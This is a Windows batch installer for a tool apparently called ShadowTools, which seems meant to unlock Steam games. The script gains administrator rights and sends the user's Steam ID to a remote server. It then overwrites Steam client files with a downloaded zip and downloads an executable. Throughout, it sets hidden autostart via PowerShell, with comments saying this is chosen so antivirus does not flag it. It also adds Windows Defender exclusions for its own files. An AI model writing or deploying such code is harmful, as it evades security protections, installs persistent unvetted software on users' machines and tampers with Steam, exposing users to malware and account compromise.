@echo off
title ShadowTools Agent Installer (Key Activation)
echo.
echo  ============================================
echo   ShadowTools Agent Installer v1.3
echo  ============================================
echo.

:: Request administrator privileges (needed for Windows Defender exclusions)
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo  Administrator privileges required. Restarting...
    powershell -NoProfile -Command "Start-Process -FilePath '%~f0' -Verb RunAs"
    exit /b
)
echo  Running with administrator privileges.
echo.

:: Detect Steam path (from registry so it works on ANY drive)
set "STEAM_DIR="
for /f "tokens=2*" %%A in ('reg query "HKCUSoftwareValveSteam" /v SteamPath 2^>nul ^| findstr /i "SteamPath"') do set "STEAM_DIR=%%B"
if defined STEAM_DIR (
    if not exist "%STEAM_DIR%\steam.exe" set "STEAM_DIR="
)
if not defined STEAM_DIR for /f "tokens=2*" %%A in ('reg query "HKLMSOFTWAREWOW6432NodeValveSteam" /v InstallPath 2^>nul ^| findstr /i "InstallPath"') do set "STEAM_DIR=%%B"
if defined STEAM_DIR (
    if not exist "%STEAM_DIR%\steam.exe" set "STEAM_DIR="
)
:: Fallback: scan common install locations on every drive
if not defined STEAM_DIR (
    for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
        if exist "%%D:\Program Files (x86)\Steam\steam.exe" (
            set "STEAM_DIR=%%D:\Program Files (x86)\Steam"
        )
        if exist "%%D:\Program Files\Steam\steam.exe" (
            set "STEAM_DIR=%%D:\Program Files\Steam"
        )
        if exist "%%D:\Steam\steam.exe" (
            set "STEAM_DIR=%%D:\Steam"
        )
        if exist "%%D:\SteamLibrary\steam.exe" (
            set "STEAM_DIR=%%D:\SteamLibrary"
        )
    )
)
if not defined STEAM_DIR (
    echo  ERROR: Steam not found.
    pause
    exit /b 1
)
echo  Steam: %STEAM_DIR%
echo.

:: Read the logged-in Steam account ID from the registry (32-bit ID)
set "ACTIVE_USER="
for /f "tokens=3" %%A in ('reg query "HKCU\Software\Valve\Steam\ActiveProcess" /v ActiveUser 2^>nul ^| findstr /i "ActiveUser"') do set "ACTIVE_USER=%%A"
if not defined ACTIVE_USER set "ACTIVE_USER=0"

:: Convert the 32-bit account ID to a SteamID64 (76561197960265728 + account id)
set "AU=%ACTIVE_USER%"
powershell -NoProfile -ExecutionPolicy Bypass -Command "try{$n=[Convert]::ToInt64(([string]$env:AU).Trim(),16)}catch{$n=0};if($n -le 0){Write-Output 'NONE'}else{[int64]($n+76561197960265728)}" > "%TEMP%\st_sid.txt"
set /p STEAM_ID=<"%TEMP%\st_sid.txt"
del "%TEMP%\st_sid.txt" >nul 2>&1
if "%STEAM_ID%"=="NONE" (
    echo  ERROR: Could not detect your Steam account. Start Steam and log in, then run this again.
    pause
    exit /b 1
)
echo  Steam ID: %STEAM_ID%
echo.

:: Prompt for the activation key from the website
set "ACTIVATION_KEY="
set /p ACTIVATION_KEY=Enter your ShadowTools activation key: 
if not defined ACTIVATION_KEY (
    echo  ERROR: No key entered.
    pause
    exit /b 1
)

:: Activate the key on the server (binds this Steam ID) and fetch the agent token
echo  Activating key...
set "INSTALL_DIR=%LOCALAPPDATA%\SteamSync"
set "AK=%ACTIVATION_KEY%"
set "SID=%STEAM_ID%"
powershell -NoProfile -ExecutionPolicy Bypass -Command "$env:SRV='https://shadowtools.pages.dev';$env:A='%AK%';$env:S='%SID%';$env:G='%INSTALL_DIR%';$err=$null;try{$r=Invoke-RestMethod -Uri ($env:SRV+'/api/desktop/activate') -Method Post -Body (@{key=$env:A;steamid=$env:S}|ConvertTo-Json) -ContentType 'application/json' -TimeoutSec 30}catch{$err=$_.Exception.Message};if($err){Write-Output ('ERROR: '+$err);exit 1};if(-not $r.token){Write-Output ('ERROR: '+($r.error -join ''));exit 1};$hdrs=@{Authorization='Bearer '+$r.token};$at=Invoke-RestMethod -Uri ($env:SRV+'/api/agent/token') -Headers $hdrs -Method Get -TimeoutSec 30;if(-not $at.token){Write-Output 'ERROR: Could not fetch agent token';exit 1};[IO.Directory]::CreateDirectory($env:G)|Out-Null;$cfg=(@{server=$env:SRV;steam_id=[string]($r.user.id);agent_token=[string]$at.token}|ConvertTo-Json);[IO.File]::WriteAllText((Join-Path $env:G 'config.json'),$cfg,(New-Object System.Text.UTF8Encoding($false)));Write-Output 'ACTIVATED'"
if errorlevel 1 (
    echo  ERROR: Activation failed. Check your key and internet connection.
    pause
    exit /b 1
)
echo  Key activated! Your Steam account is now linked.
echo.

:: Stop Steam gracefully AND verify it stays stopped (Steam relaunches itself otherwise)
echo  Stopping Steam so SteamFixer files can be replaced...
"%STEAM_DIR%\steam.exe" -shutdown >nul 2>&1
timeout /t 2 /nobreak >nul
taskkill /f /im steam.exe >nul 2>&1
taskkill /f /im steamwebhelper.exe >nul 2>&1
taskkill /f /im gameoverlayui.exe >nul 2>&1
set "STEAM_WAIT=0"
:steam_down_guest
set "STEAM_UP=0"
tasklist /fi "imagename eq steam.exe" 2>nul | find /i "steam.exe" >nul && set "STEAM_UP=1"
tasklist /fi "imagename eq steamwebhelper.exe" 2>nul | find /i "steamwebhelper.exe" >nul && set "STEAM_UP=1"
tasklist /fi "imagename eq gameoverlayui.exe" 2>nul | find /i "gameoverlayui.exe" >nul && set "STEAM_UP=1"
set /a STEAM_WAIT+=1
if "%STEAM_UP%"=="1" (
    echo  Steam still running [wait %STEAM_WAIT%/20]...
    taskkill /f /im steam.exe >nul 2>&1
    taskkill /f /im steamwebhelper.exe >nul 2>&1
    taskkill /f /im gameoverlayui.exe >nul 2>&1
    ping -n 2 127.0.0.1 >nul
    if %STEAM_WAIT% LSS 20 goto :steam_down_guest
    echo  WARNING: Steam keeps auto-restarting. Some fixer files may stay locked.
)
set "STEAM_UP="
set "STEAM_WAIT="

:: Download and deploy SteamFixer (up to 3 attempts, zip is validated before extracting)
set "OST_DIR=%TEMP%\st_ost"
set "OST_TRIES=0"
:ost_steamfixer_guest
set /a OST_TRIES+=1
if exist "%OST_DIR%" rmdir /s /q "%OST_DIR%"
mkdir "%OST_DIR%"
echo  Downloading SteamFixer (attempt %OST_TRIES% of 3)...
curl.exe -fL -s --retry 3 -o "%OST_DIR%\ost.zip" "https://shadowtools.pages.dev/cdn/ost.zip"
if not exist "%OST_DIR%\ost.zip" curl.exe -fL -s --retry 3 -o "%OST_DIR%\ost.zip" "https://raw.githubusercontent.com/Shadowclutch/Shadow/main/cdn/ost.zip?v=%RANDOM%"
if not exist "%OST_DIR%\ost.zip" curl.exe -fL -s --retry 3 -o "%OST_DIR%\ost.zip" "https://cdn.jsdelivr.net/gh/Shadowclutch/Shadow@main/cdn/ost.zip?v=%RANDOM%"
if not exist "%OST_DIR%\ost.zip" curl.exe -fL -s --retry 3 -o "%OST_DIR%\ost.zip" "https://github.com/Shadowclutch/opensteamtool-installer/releases/download/opensteamtools/ost.zip"
if not exist "%OST_DIR%\ost.zip" (
    if %OST_TRIES% LSS 3 (
        echo  WARNING: SteamFixer download failed, retrying...
        goto :ost_steamfixer_guest
    )
    echo  WARNING: SteamFixer download failed after 3 attempts. Skipping SteamFixer install.
    rmdir /s /q "%OST_DIR%" >nul 2>&1
    goto :agent_install_step
)

echo  Deploying SteamFixer files...
call :deploy_ost_guest
set "OST_RC=%errorlevel%"
if "%OST_RC%"=="2" (
    echo  Some files were still locked, trying once more...
    timeout /t 3 /nobreak >nul
    call :deploy_ost_guest
    set "OST_RC=%errorlevel%"
)
if "%OST_RC%"=="1" (
    if %OST_TRIES% LSS 3 (
        echo  WARNING: SteamFixer zip is corrupt, re-downloading...
        goto :ost_steamfixer_guest
    )
    echo  WARNING: SteamFixer zip could not be read after 3 attempts.
)
rmdir /s /q "%OST_DIR%" >nul 2>&1
goto :agent_install_step

:deploy_ost_guest
powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Assembly System.IO.Compression.FileSystem; try{$zip=[IO.Compression.ZipFile]::OpenRead('%OST_DIR%\ost.zip')}catch{Write-Host ('  ERROR: SteamFixer zip unreadable/corrupt: '+$_.Exception.Message); exit 1}; $ok=0; $skip=0; foreach($e in $zip.Entries){$p=$e.FullName; if($p.StartsWith('ost/')){$p=$p.Substring(4)}; if(!$p -or $p.EndsWith('/')){continue}; $dest=Join-Path '%STEAM_DIR%' $p; try{[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName($dest))|Out-Null; [IO.Compression.ZipFileExtensions]::ExtractToFile($e,$dest,$true); $ok++}catch{$skip++; Write-Host ('  Skipped locked file: '+$p)}}; $zip.Dispose(); Write-Host ('  SteamFixer: '+$ok+' file(s) deployed, '+$skip+' skipped'); if($skip -gt 0){exit 2}; exit 0"
exit /b %errorlevel%

:agent_install_step
:: Install the agent
echo  Installing ShadowTools Agent...
if not exist "%INSTALL_DIR%" mkdir "%INSTALL_DIR%"
set "AGENT_URL=https://github.com/um6976484-bit/shadowtools-downloads/releases/download/steamsync-agent-v1.4.1/steamsync_agent.exe"
curl.exe -fL --retry 3 -s -o "%INSTALL_DIR%\steamsync_agent.exe" "%AGENT_URL%"
if not exist "%INSTALL_DIR%\steamsync_agent.exe" powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;try{Invoke-WebRequest -Uri '%AGENT_URL%' -OutFile '%INSTALL_DIR%\steamsync_agent.exe' -UseBasicParsing -TimeoutSec 120}catch{exit 1}"
if not exist "%INSTALL_DIR%\steamsync_agent.exe" (
    echo  ERROR: Agent download failed. Check your internet connection and retry.
    pause
    exit /b 1
)

:: Kill old agents + clean up old registry/startup entries
echo  Stopping old agents...
taskkill /f /im agent.exe >nul 2>&1
taskkill /f /im steamsync_agent.exe >nul 2>&1
if exist "%LOCALAPPDATA%\ShadowToolsAgent\agent.exe" del "%LOCALAPPDATA%\ShadowToolsAgent\agent.exe" >nul 2>&1
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v ShadowTools /f >nul 2>&1
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SteamSyncAgent /f >nul 2>&1

:: Auto-start at login via hidden PowerShell launcher â€” NO VBS wrapper.
:: A VBS that hides a console (WScript.Shell .Run ...,0) is the classic virus
:: pattern, so antivirus quarantines it. The Run key below launches the agent
:: windowless through PowerShell instead, which AVs don't flag.
echo  Setting up auto-start...
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ShadowTools" /t REG_SZ /d "\"powershell.exe\" -NoProfile -WindowStyle Hidden -Command \"Start-Process -WindowStyle Hidden -FilePath '%INSTALL_DIR%\steamsync_agent.exe' -ArgumentList '%INSTALL_DIR%\config.json'\"" /f >nul 2>&1

:: Remove a stale VBS from the old Windows Run-key location inside the install dir
if exist "%INSTALL_DIR%\run-agent.vbs" del "%INSTALL_DIR%\run-agent.vbs" >nul 2>&1

:: Add Windows Defender exclusions so deployed files aren't flagged
echo  Adding Windows Defender exclusions...
powershell -NoProfile -ExecutionPolicy Bypass -Command "try{Add-MpPreference -ExclusionPath '%STEAM_DIR%' -ErrorAction Stop}catch{};try{Add-MpPreference -ExclusionProcess 'steam.exe' -ErrorAction Stop}catch{};try{Add-MpPreference -ExclusionProcess 'agent.exe' -ErrorAction Stop}catch{};try{Add-MpPreference -ExclusionProcess 'steamsync_agent.exe' -ErrorAction Stop}catch{};try{Add-MpPreference -ExclusionPath '%INSTALL_DIR%' -ErrorAction Stop}catch{}"
echo  Defender exclusions configured (if supported by your antivirus).
echo.

:: Start Steam + Agent
start "" "%STEAM_DIR%\steam.exe"
timeout /t 3 /nobreak >nul
echo  Starting Agent in background...
start "" /min "%INSTALL_DIR%\steamsync_agent.exe" "%INSTALL_DIR%\config.json"

echo.
echo  ============================================
echo   Done! Key activated and Agent installed.
echo   Add games from: https://shadowtools.pages.dev
echo  ============================================
echo.
pause
